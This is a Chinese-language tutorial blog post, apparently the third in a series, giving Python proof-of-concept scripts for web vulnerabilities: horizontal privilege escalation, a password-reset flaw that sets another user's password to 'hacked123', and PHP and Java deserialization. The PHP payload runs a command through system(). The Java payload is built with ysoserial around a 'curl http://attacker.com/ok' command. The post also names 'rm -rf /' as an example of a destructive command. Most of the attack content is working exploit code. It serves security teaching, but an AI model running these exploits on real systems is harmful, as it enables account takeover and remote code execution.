Python 实战:Web 漏洞 Python POC 代码及原理详解(3)

今天继续来分享web漏洞python poc构造以及原理详解。

一、逻辑漏洞(以 "水平越权" 和 "密码重置逻辑缺陷" 为例)

逻辑漏洞是指因业务流程设计缺陷导致的安全问题,不依赖代码语法错误,而源于 "流程绕过" 或 "权限校验缺失"。以下是两种高频逻辑漏洞的 POC 构造:

1. 水平越权漏洞(Horizontal Privilege Escalation)

原理:水平越权指 "同权限级别的用户可访问 / 修改其他用户的资源"(如普通用户 A 能查看用户 B 的订单),核心原因是 "仅通过前端传参(如user_id)标识用户,未在后端校验该user_id是否属于当前登录用户"。

示例如下:某网站 "个人信息页" URL 为 http://test.com/userinfo?user_id=100,登录用户 A(user_id=100)可查看自己的信息;若修改user_id=101后仍能查看用户 B 的信息,则存在水平越权。

python 复制代码
import requests

def check_horizontal_privilege(url, session_cookie):
    """检测水平越权漏洞:尝试访问其他用户的资源"""
    # 1. 获取当前用户信息
    headers = {
        "Cookie": f"session={session_cookie}",  # 当前登录用户的会话Cookie
        "User-Agent": "Mozilla/5.0"
    }
    
    # 假设当前用户ID为100
    own_id = 100
    own_url = f"{url}?user_id={own_id}"
    own_response = requests.get(own_url, headers=headers, timeout=10)
    own_content = own_response.text
    
    # 2. 尝试访问其他用户的资源(如ID=101)
    target_id = 101
    target_url = f"{url}?user_id={target_id}"
    target_response = requests.get(target_url, headers=headers, timeout=10)
    target_content = target_response.text
    
    # 3. 判断是否越权访问成功
    # 条件:目标用户页面返回200,且内容与当前用户不同(排除"用户不存在"的情况)
    if (target_response.status_code == 200 and 
        "用户不存在" not in target_content and 
        target_content != own_content):
        print(f"[+] 存在水平越权漏洞!可访问用户{target_id}的信息")
        print(f"    验证URL:{target_url}")
        return True
    else:
        print(f"[-] 未检测到水平越权漏洞")
        return False

# 需替换为登录用户的session和目标URL
check_horizontal_privilege(
    url="http://test.com/userinfo",
    session_cookie="xxx-当前用户的session值-xxx"
)
构造的思路

核心:对比 "访问自己资源" 和 "访问他人资源" 的响应差异(状态码、内容)。

关键参数:通常是user_idorder_idtask_id等标识资源归属的参数。

2. 密码重置逻辑缺陷(以 "验证码未失效" 为例子)

漏洞原理:密码重置流程中,若 "验证码生成后未绑定用户" 或 "验证成功后未失效",攻击者可通过 "拦截他人的验证码" 或 "重复使用自己的验证码" 重置任意用户密码。

示例如下:某网站密码重置流程:提交手机号→接收验证码→输入验证码→设置新密码。若验证码未与手机号绑定,攻击者可在 "输入验证码" 步骤修改目标手机号,用自己的验证码重置他人密码。

python 复制代码
import requests

def check_password_reset_vuln(send_code_url, verify_code_url):
    """检测密码重置逻辑漏洞:验证码未与手机号绑定"""
    # 1. 向自己的手机号发送验证码(获取有效验证码)
    attacker_phone = "13800138000"
    send_data = {"phone": attacker_phone}
    requests.post(send_code_url, data=send_data, timeout=10)
    attacker_code = input("请输入攻击者手机收到的验证码:")  # 假设为"666666"
    
    # 2. 尝试用自己的验证码重置目标用户的密码
    target_phone = "13900139000"  # 目标用户手机号
    reset_data = {
        "phone": target_phone,  # 修改为目标手机号
        "code": attacker_code,  # 使用攻击者的验证码
        "new_password": "hacked123"  # 新密码
    }
    response = requests.post(verify_code_url, data=reset_data, timeout=10)
    
    # 3. 判断是否重置成功
    if "密码重置成功" in response.text:
        print(f"[+] 存在密码重置逻辑漏洞!已用攻击者验证码重置{target_phone}的密码")
        return True
    else:
        print(f"[-] 未检测到密码重置逻辑漏洞")
        return False

check_password_reset_vuln(
    send_code_url="http://test.com/send_verify_code",  # 发送验证码接口
    verify_code_url="http://test.com/reset_password"   # 验证验证码并重置密码接口
)
构造的思路

关键:打破 "验证码 - 用户" 的绑定关系(如修改手机号但复用验证码)。

关键步骤:先获取一个有效验证码,再在验证阶段替换目标用户标识(手机号 / 邮箱)。

二、反序列化漏洞

反序列化漏洞源于 "程序对不可信数据进行反序列化操作",攻击者构造恶意序列化数据,触发对象的特殊方法(如魔术方法)执行恶意代码。不同语言的序列化机制不同,POC 构造差异较大。

1. PHP 反序列化漏洞

原理:PHP 中unserialize()函数处理用户可控数据时,若目标类存在__wakeup()__destruct()等魔术方法,且方法中包含危险操作(如文件读写、命令执行),则可触发漏洞。

示例如下

php 复制代码
<?php
class Test {
    public $cmd;
    // 析构方法:对象销毁时执行
    function __destruct() {
        system($this->cmd);  // 危险操作:执行命令
    }
}
?>

当程序调用unserialize($_GET['data'])时,可构造包含cmd的序列化字符串,触发system()执行命令。

python 复制代码
import requests
import argparse

def generate_php_payload(cmd):
    """生成PHP反序列化恶意payload"""
    # 格式:O:4:"Test":1:{s:3:"cmd";s:len(cmd):"cmd";}
    payload = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'
    return payload

def check_php_unserialize(url, param):
    """检测PHP反序列化漏洞"""
    cmd = "echo PHP_UNSERIALIZE_VULN"  # 测试命令
    payload = generate_php_payload(cmd)
    
    # 发送包含恶意序列化数据的请求
    params = {param: payload}
    response = requests.get(url, params=params, timeout=10)
    
    # 检查是否执行命令
    if "PHP_UNSERIALIZE_VULN" in response.text:
        print(f"[+] 存在PHP反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应验证:{response.text[:50]}")
        return True
    else:
        print(f"[-] 未检测到PHP反序列化漏洞")
        return False

check_php_unserialize(
    url="http://test.com/vuln.php",  # 存在unserialize的页面
    param="data"  # 接收序列化数据的参数名
)
构造的思路

核心:找到包含危险操作的类(魔术方法中调用system()file_put_contents()等),构造该类的序列化字符串,设置恶意属性(如cmd)。

工具:可用 PHP 代码生成序列化字符串(如$test = new Test(); $test->cmd = 'id'; echo serialize($test);)。

2. Java 反序列化漏洞

原理:Java 反序列化通过ObjectInputStream.readObject()处理数据,若反序列化过程中触发 "恶意类链"(如 Apache Commons Collections 库中的InvokerTransformer),可执行任意命令。

示例如下:应用使用了存在漏洞的 Commons Collections 3.1 库,且接口接收用户可控的序列化数据(如通过POST传输的二进制数据)。

python 复制代码
import requests
import subprocess

def generate_java_payload(cmd, gadget="CommonsCollections1"):
    """使用ysoserial生成Java反序列化payload(需本地有ysoserial.jar)"""
    # 调用ysoserial生成payload
    # 命令:java -jar ysoserial.jar [gadget] [cmd] > payload.bin
    try:
        result = subprocess.check_output(
            f"java -jar ysoserial.jar {gadget} {cmd}",
            shell=True,
            stderr=subprocess.STDOUT
        )
        return result 
    except Exception as e:
        print(f"[!] 生成payload失败:{e}")
        return None

def check_java_unserialize(url):
    """检测Java反序列化漏洞"""
    cmd = "curl http://attacker.com/ok"  # 测试命令
    payload = generate_java_payload(cmd)
    if not payload:
        return False
    
    # 发送二进制序列化数据
    headers = {"Content-Type": "application/octet-stream"}
    response = requests.post(url, data=payload, headers=headers, timeout=15)
    
    # 验证方式:查看攻击者服务器是否收到请求
    if response.status_code in [200, 500]:  # 500可能是命令执行出错但反序列化成功
        print(f"[+] 可能存在Java反序列化漏洞!")
        print(f"    测试命令:{cmd}")
        print(f"    响应状态码:{response.status_code}")
        return True
    else:
        print(f"[-] 未检测到Java反序列化漏洞")
        return False

check_java_unserialize(
    url="http://test.com/deserialize"  # 接收序列化数据的接口
)
构造的思路

核心:利用 ysoserial 生成 payload + 检测,利用成熟的 "Gadget 链"(如 CommonsCollections、URLDNS),通过ysoserial工具生成对应 payload。

如何验证:若无法直接读取命令输出,可通过 "DNSlog"(如nslookup xxxx.dnslog.cn)或 "HTTP 请求" 验证命令是否执行。

java反序列化的难度是更大的,因为需要构建攻击链来进行反序列化。对比如下

|--------|--------------------------------------|--------------------------------|
| 对比维度 | PHP 反序列化漏洞 | Java 反序列化漏洞 |
| 序列化格式 | 明文字符串(易构造、易调试) | 二进制流(需工具生成,如 ysoserial) |
| 核心触发点 | 魔术方法(__wakeup()、__destruct()等) | 重写的readObject()方法 |
| 利用链复杂度 | 低(多为单个类的魔术方法直接触发) | 高(需串联多个类形成利用链,依赖第三方库) |
| 影响范围 | 主要影响 PHP 脚本 / 框架(如 ThinkPHP、Laravel) | 影响所有 Java 应用(含企业级服务器、框架) |
| 典型依赖 | 自身语法特性(魔术方法) | 第三方库(Commons Collections)或框架组件 |

但是两者的危害基本都是高危害的,核心危害比如远程代码执行(RCE)。完全控制服务器:执行任意系统命令(如whoami、rm -rf /),获取服务器权限。

相关推荐
老白干2 小时前
jjwt 0.9.1 在 JDK 11+ 上的两个“坑”与完整解决方案
java·python·log4j
笨鸟先飞,勤能补拙8 小时前
AI 赋能网络安全:技术全景、成熟度评估与实战案例
人工智能·python·安全·web安全·网络安全·sqlite·github
长和信泰光伏储能9 小时前
京津冀光伏发电:绿色能源的未来之路
python·能源
浦信仿真大讲堂10 小时前
从重复操作到自动化闭环:如何让 CST 与 Python 真正协同起来
python·自动化·cst·仿真软件·达索软件
Gu Gu Study10 小时前
ScoutLoop开放域深度研究引擎(agent的初步设计想法)
人工智能·python
笨鸟先飞,勤能补拙11 小时前
AI 赋能网络安全领域深度剖析
网络·人工智能·windows·安全·web安全·网络安全·github
卷无止境11 小时前
写代码这件事,到底该讲究点什么?
后端·python
卷无止境11 小时前
循环复杂度到底在算什么,Python 代码怎么才能写得让人一看就懂
后端·python
lpfasd12311 小时前
MediaCrawler 项目深度分析
chrome·python·chrome devtools
HackTwoHub11 小时前
轻量化AI渗透武器库|ARTEX自主攻防系统、资产梳理、漏洞挖掘、链路分析全流程智能化落地
人工智能·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构